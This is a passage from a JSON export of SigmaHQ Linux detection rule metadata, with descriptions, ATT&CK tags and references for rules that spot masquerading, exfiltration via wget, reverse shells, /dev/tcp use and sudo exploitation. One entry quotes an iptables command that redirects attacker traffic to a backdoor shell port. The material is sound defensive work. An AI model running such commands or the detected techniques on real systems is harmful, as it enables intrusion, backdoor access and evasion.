"attack.defense_evasion", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9d4548fa-bba0-4e88-bd66-5d5bf516cda0", "value": "Masquerading as Linux Crond Process" }, { "description": "Detects appending of zip file to image", "meta": { "author": "Pawel Mazur", "creation_date": "2021/09/09", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_hidden_zip_files_steganography.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_zip_files_steganography.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.003" ] }, "uuid": "45810b50-7edc-42ca-813b-bdac02fb946b", "value": "Steganography Hide Zip Information in Picture File" }, { "description": "Detects commandline operations on shell history files", "meta": { "author": "Mikhail Larin, oscd.community", "creation_date": "2020/10/17", "falsepositive": [ "Legitimate administrative activity", "Legitimate software, cleaning hist file" ], "filename": "lnx_auditd_susp_histfile_operations.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_histfile_operations.yml" ], "tags": [ "attack.credential_access", "attack.t1552.003" ] }, "related": [ { "dest-uuid": "8187bd2a-866f-4457-9009-86b0ddedffa3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "eae8ce9f-bde9-47a6-8e79-f20d18419910", "value": "Suspicious History File Operations - Linux" }, { "description": "Detect file time attribute change to hide new or changes to existing files.", "meta": { "author": "Igor Fits, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_change_file_time_attr.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_change_file_time_attr.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.006" ] }, "related": [ { "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b3cec4e7-6901-4b0d-a02d-8ab2d8eb818b", "value": "File Time Attribute Change - Linux" }, { "description": "Detects command line parameter very often used with coin miners", "meta": { "author": "Florian Roth", "creation_date": "2021/10/09", "falsepositive": [ "Other tools that use a --cpu-priority flag" ], "filename": "lnx_auditd_coinminer.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://xmrig.com/docs/miner/command-line-options", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_coinminer.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1068" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "071d5e5a-9cef-47ec-bc4e-a42e34d8d0ed", "value": "Possible Coin Miner CPU Priority Param" }, { "description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing.\nrequired to trigger the heap-based buffer overflow.\n", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/02/01", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1068", "cve.2021.3156" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b9748c98-9ea7-4fdb-80b6-29bed6ba71d2", "value": "CVE-2021-3156 Exploitation Attempt Bruteforcing" }, { "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2019/10/21", "falsepositive": [ "Legitimate administrator or user uses network sniffing tool for legitimate reasons." ], "filename": "lnx_auditd_network_sniffing.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_sniffing.yml" ], "tags": [ "attack.credential_access", "attack.discovery", "attack.t1040" ] }, "uuid": "f4d3748a-65d1-4806-bd23-e25728081d01", "value": "Network Sniffing - Linux" }, { "description": "Detects attempts to post the file with the usage of wget utility.\nThe adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.\n", "meta": { "author": "Pawel Mazur", "creation_date": "2021/11/18", "falsepositive": [ "Legitimate usage of wget utility to post a file" ], "filename": "lnx_auditd_data_exfil_wget.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://gtfobins.github.io/gtfobins/wget/", "https://linux.die.net/man/1/wget", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_exfil_wget.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cb39d16b-b3b6-4a7a-8222-1cf24b686ffc", "value": "Data Exfiltration with Wget" }, { "description": "Detects a reload or a start of a service.", "meta": { "author": "Jakob Weinzettl, oscd.community", "creation_date": "2019/09/23", "falsepositive": [ "Installation of legitimate service.", "Legitimate reconfiguration of service." ], "filename": "lnx_auditd_pers_systemd_reload.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_pers_systemd_reload.yml" ], "tags": [ "attack.persistence", "attack.t1543.002" ] }, "uuid": "2625cc59-0634-40d0-821e-cb67382a3dd7", "value": "Systemd Service Reload or Start" }, { "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", "meta": { "author": "Igor Fits, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Legitimate administrative activity" ], "filename": "lnx_auditd_split_file_into_pieces.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_split_file_into_pieces.yml" ], "tags": [ "attack.exfiltration", "attack.t1030" ] }, "related": [ { "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2dad0cba-c62a-4a4f-949f-5f6ecd619769", "value": "Split A File Into Pieces - Linux" }, { "description": "Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", "meta": { "author": "Pawel Mazur", "creation_date": "2021/10/01", "falsepositive": [ "Legitimate usage of xclip tools" ], "filename": "lnx_auditd_clipboard_image_collection.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://linux.die.net/man/1/xclip", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_image_collection.yml" ], "tags": [ "attack.collection", "attack.t1115" ] }, "uuid": "f200dc3f-b219-425d-a17e-c38467364816", "value": "Clipboard Collection of Image Data with Xclip Tool" }, { "description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing\nrequired to trigger the heap-based buffer overflow.\n", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/02/01", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_cve_2021_3156_sudo_buffer_overflow.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1068", "cve.2021.3156" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5ee37487-4eb8-4ac2-9be1-d7d14cdc559f", "value": "CVE-2021-3156 Exploitation Attempt" }, { "description": "All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392'\nThe traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.\n", "meta": { "author": "Rafal Piasecki", "creation_date": "2022/08/10", "falsepositive": [ "Legitimate ports redirect" ], "filename": "lnx_auditd_bpfdoor_port_redirect.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_port_redirect.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "70b4156e-50fc-4523-aa50-c9dddf1993fc", "value": "Bpfdoor TCP Ports Redirect" }, { "description": "Detects program executions in suspicious non-program folders related to malware or hacking activity", "meta": { "author": "Florian Roth", "creation_date": "2018/01/23", "falsepositive": [ "Admin activity (especially in /tmp folders)", "Crazy web applications" ], "filename": "lnx_auditd_susp_exe_folders.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_exe_folders.yml" ], "tags": [ "attack.t1587", "attack.t1584", "attack.resource_development" ] }, "related": [ { "dest-uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a39d7fa7-3fbd-4dc2-97e1-d87f546b1bbc", "value": "Program Executions in Suspicious Folders" }, { "description": "Detects removing immutable file attribute.", "meta": { "author": "Jakob Weinzettl, oscd.community", "creation_date": "2019/09/23", "falsepositive": [ "Administrator interacting with immutable files (e.g. for instance backups)." ], "filename": "lnx_auditd_chattr_immutable_removal.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_chattr_immutable_removal.yml" ], "tags": [ "attack.defense_evasion", "attack.t1222.002" ] }, "related": [ { "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a5b977d6-8a81-4475-91b9-49dbfcd941f7", "value": "Remove Immutable File Attribute - Auditd" }, { "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2019/10/21", "falsepositive": [ "Legitimate use of archiving tools by legitimate user." ], "filename": "lnx_auditd_data_compressed.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_compressed.yml" ], "tags": [ "attack.exfiltration", "attack.t1560.001" ] }, "related": [ { "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a3b5e3e9-1b49-4119-8b8e-0344a01f21ee", "value": "Data Compressed" }, { "description": "Detects enumeration of local or remote network services.", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/21", "falsepositive": [ "Legitimate administration activities" ], "filename": "lnx_auditd_network_service_scanning.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_service_scanning.yml" ], "tags": [ "attack.discovery", "attack.t1046" ] }, "uuid": "3761e026-f259-44e6-8826-719ed8079408", "value": "Linux Network Service Scanning - Auditd" }, { "description": "Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations", "meta": { "author": "Pawel Mazur", "creation_date": "2021/09/13", "falsepositive": [ "Legitimate use of screenshot utility" ], "filename": "lnx_auditd_screencaputre_xwd.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://linux.die.net/man/1/xwd", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencaputre_xwd.yml" ], "tags": [ "attack.collection", "attack.t1113" ] }, "uuid": "e2f17c5d-b02a-442b-9052-6eb89c9fec9c", "value": "Screen Capture with Xwd" }, { "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", "meta": { "author": "Igor Fits, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Legitimate administrative activity" ], "filename": "lnx_auditd_system_shutdown_reboot.yml", "level": "informational", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_shutdown_reboot.yml" ], "tags": [ "attack.impact", "attack.t1529" ] }, "related": [ { "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4cb57c2f-1f29-41f8-893d-8bed8e1c1d2f", "value": "System Shutdown/Reboot - Linux" }, { "description": "Detects access to a raw disk on a host to evade detection by security products.", "meta": { "author": "Janantha Marasinghe", "creation_date": "2022/12/20", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_debugfs_usage.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://twitter.com/0xm1rch/status/1600857731073654784?s=20&t=MdrBPqv4hnBEfAJBayMCZA", "https://github.com/Neo23x0/auditd/blob/master/audit.rules", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_debugfs_usage.yml" ], "tags": [ "attack.defense_evasion", "attack.t1006" ] }, "related": [ { "dest-uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fb0647d7-371a-4553-8e20-33bbbe122956", "value": "Use of Debugfs to Access a Raw Disk" }, { "description": "Detects password policy discovery commands", "meta": { "author": "Ömer Günal, oscd.community, Pawel Mazur", "creation_date": "2020/10/08", "falsepositive": [ "Legitimate administration activities" ], "filename": "lnx_auditd_password_policy_discovery.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", "https://linux.die.net/man/1/chage", "https://man7.org/linux/man-pages/man1/passwd.1.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_password_policy_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1201" ] }, "related": [ { "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ca94a6db-8106-4737-9ed2-3e3bb826af0a", "value": "Password Policy Discovery" }, { "description": "Detects System Information Discovery commands", "meta": { "author": "Pawel Mazur", "creation_date": "2021/09/03", "falsepositive": [ "Legitimate administrative activity" ], "filename": "lnx_auditd_system_info_discovery.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1082" ] }, "uuid": "f34047d9-20d3-4e8b-8672-0a35cc50dc71", "value": "System Information Discovery - Auditd" }, { "description": "Detects change of user environment. Adversaries can insert code into these files to gain persistence each time a user logs in or opens a new shell.", "meta": { "author": "Peter Matkovski", "creation_date": "2019/05/12", "falsepositive": [ "Admin or User activity" ], "filename": "lnx_auditd_alter_bash_profile.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "MITRE Attack technique T1156; .bash_profile and .bashrc. ", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_alter_bash_profile.yml" ], "tags": [ "attack.s0003", "attack.persistence", "attack.t1546.004" ] }, "related": [ { "dest-uuid": "b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e74e15cc-c4b6-4c80-b7eb-dfe49feb7fe9", "value": "Edit of .bash_profile and .bashrc" }, { "description": "Detects overwriting (effectively wiping/deleting) of a file.", "meta": { "author": "Jakob Weinzettl, oscd.community", "creation_date": "2019/10/23", "falsepositive": [ "Appending null bytes to files.", "Legitimate overwrite of files." ], "filename": "lnx_auditd_dd_delete_file.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_dd_delete_file.yml" ], "tags": [ "attack.impact", "attack.t1485" ] }, "related": [ { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "37222991-11e9-4b6d-8bdf-60fbe48f753e", "value": "Overwriting the File with Dev Zero or Null" }, { "description": "Detect attempt to enable auditing of TTY input", "meta": { "author": "Pawel Mazur", "creation_date": "2021/05/24", "falsepositive": [ "Administrative work" ], "filename": "lnx_auditd_keylogging_with_pam_d.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://linux.die.net/man/8/pam_tty_audit", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md", "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing", "https://access.redhat.com/articles/4409591#audit-record-types-2", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml" ], "tags": [ "attack.credential_access", "attack.t1003", "attack.t1056.001" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "49aae26c-450e-448b-911d-b3c13d178dfc", "value": "Linux Keylogging with Pam.d" }, { "description": "Detects relevant commands often related to malware or hacking activity", "meta": { "author": "Florian Roth", "creation_date": "2017/12/12", "falsepositive": [ "Admin activity" ], "filename": "lnx_auditd_susp_cmds.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "Internal Research - mostly derived from exploit code including code in MSF", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_cmds.yml" ], "tags": [ "attack.execution", "attack.t1059.004" ] }, "related": [ { "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1543ae20-cbdf-4ec1-8d12-7664d667a825", "value": "Suspicious Commands Linux" }, { "description": "Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character", "meta": { "author": "Pawel Mazur", "creation_date": "2021/09/06", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_hidden_files_directories.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_files_directories.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.001" ] }, "related": [ { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d08722cd-3d09-449a-80b4-83ea2d9d4616", "value": "Hidden Files and Directories" }, { "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", "meta": { "author": "Marie Euler, Pawel Mazur", "creation_date": "2020/05/18", "falsepositive": [ "Admin activity" ], "filename": "lnx_auditd_create_account.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-understanding_audit_log_files", "https://www.youtube.com/watch?v=VmvY5SQm5-Y&ab_channel=M45C07", "https://access.redhat.com/articles/4409591#audit-record-types-2", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_create_account.yml" ], "tags": [ "attack.t1136.001", "attack.persistence" ] }, "related": [ { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "759d0d51-bc99-4b5e-9add-8f5b2c8e7512", "value": "Creation Of An User Account" }, { "description": "Detects suspicious command with /dev/tcp", "meta": { "author": "frack113", "creation_date": "2021/12/10", "falsepositive": [ "Unknown" ], "filename": "lnx_susp_dev_tcp.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan", "https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/", "https://book.hacktricks.xyz/shells/shells/linux", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_dev_tcp.yml" ], "tags": [ "attack.reconnaissance" ] }, "uuid": "6cc5fceb-9a71-4c23-aeeb-963abe0b279c", "value": "Suspicious Use of /dev/tcp" }, { "description": "Detects shellshock expressions in log files", "meta": { "author": "Florian Roth", "creation_date": "2017/03/14", "falsepositive": [ "Unknown" ], "filename": "lnx_shellshock.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shellshock.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "c67e0c98-4d39-46ee-8f6b-437ebf6b950e", "value": "Shellshock Expression" }, { "description": "Detects the use of tools that copy files from or to remote systems", "meta": { "author": "Ömer Günal", "creation_date": "2020/06/18", "falsepositive": [ "Legitimate administration activities" ], "filename": "lnx_file_copy.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://attack.mitre.org/techniques/T1105/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml" ], "tags": [ "attack.command_and_control", "attack.lateral_movement", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7a14080d-a048-4de8-ae58-604ce58a795b", "value": "Remote File Copy" }, { "description": "Detects suspicious shell commands used in various Equation Group scripts and tools", "meta": { "author": "Florian Roth", "creation_date": "2017/04/09", "falsepositive": [ "Unknown" ], "filename": "lnx_apt_equationgroup_lnx.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_apt_equationgroup_lnx.yml" ], "tags": [ "attack.execution", "attack.g0020", "attack.t1059.004" ] }, "related": [ { "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "41e5c73d-9983-4b69-bd03-e13b67e9623c", "value": "Equation Group Indicators" }, { "description": "Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd", "meta": { "author": "Florian Roth", "creation_date": "2019/04/05", "falsepositive": [ "Unknown" ], "filename": "lnx_symlink_etc_passwd.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://www.qualys.com/2021/05/04/21nails/21nails.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_symlink_etc_passwd.yml" ], "tags": [ "attack.t1204.001", "attack.execution" ] }, "related": [ { "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c67fc22a-0be5-4b4f-aad5-2b32c4b69523", "value": "Symlink Etc Passwd" }, { "description": "Detects specific commands commonly used to remove or empty the syslog", "meta": { "author": "Max Altgelt", "creation_date": "2021/09/10", "falsepositive": [ "Log rotation" ], "filename": "lnx_clear_syslog.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://www.virustotal.com/gui/file/fc614fb4bda24ae8ca2c44e812d12c0fab6dd7a097472a35dd12ded053ab8474", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_clear_syslog.yml" ], "tags": [ "attack.impact", "attack.t1565.001" ] }, "related": [ { "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e09eb557-96d2-4de9-ba2d-30f712a5afd3", "value": "Commands to Clear or Remove the Syslog - Builtin" }, { "description": "Detects buffer overflow attempts in Unix system log files", "meta": { "author": "Florian Roth", "creation_date": "2017/03/01", "falsepositive": [ "Unknown" ], "filename": "lnx_buffer_overflows.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/attack_rules.xml", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_buffer_overflows.yml" ], "tags": [ "attack.t1068", "attack.privilege_escalation" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "18b042f0-2ecd-4b6e-9f8d-aa7a7e7de781", "value": "Buffer Overflow Attempts" }, { "description": "Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell", "meta": { "author": "Florian Roth", "creation_date": "2019/04/02", "falsepositive": [ "Unknown" ], "filename": "lnx_shell_susp_rev_shells.yml", 